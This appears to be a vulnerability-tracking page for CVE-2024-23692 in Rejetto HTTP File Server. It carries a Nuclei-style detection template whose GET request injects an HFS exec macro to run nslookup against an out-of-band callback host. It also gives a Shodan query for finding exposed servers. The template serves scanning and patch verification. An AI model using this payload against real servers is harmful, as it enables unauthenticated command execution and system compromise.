CVE-2024-23692: Rejetto HTTP File Server - Template injection

2025-08-01 Rejetto HTTP File Server PoC Public

Description

This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.

PoC

id: CVE-2024-23692

info:
  name: Rejetto HTTP File Server - Template injection
  author: johnk3r
  severity: critical
  description: |
    This vulnerability allows a remote, unauthenticated attacker to execute arbitrary commands on the affected system by sending a specially crafted HTTP request.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the Rejetto HTTP File Server through template injection, potentially compromising the entire system.
  remediation: |
    Update Rejetto HTTP File Server to a version newer than 2.3m.
  reference:
    - https://github.com/rapid7/metasploit-framework/pull/19240
    - https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-23692
    cwe-id: CWE-1336
    epss-score: 0.99471
    epss-percentile: 0.99941
  metadata:
    verified: true
    max-request: 1
    shodan-query: product:"HttpFileServer httpd"
  tags: cve,cve2024,hfs,rejetto,rce,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?n=%0A&cmd=nslookup+{{interactsh-url}}&search=%25xxx%25url%25:%password%}{.exec|{.?cmd.}|timeout=15|out=abc.}{.?n.}{.?n.}RESULT:{.?n.}{.^abc.}===={.?n.}"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "rejetto"
# digest: 4a0a00473045022100bcdc314c9fa74fef0a1d9ee7d842bd6f845bdb403d5461812e98dd48f00a73c902201144748fa80f4c22bfea11968adf7282f702580355d1e4e00997ec33586b376f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities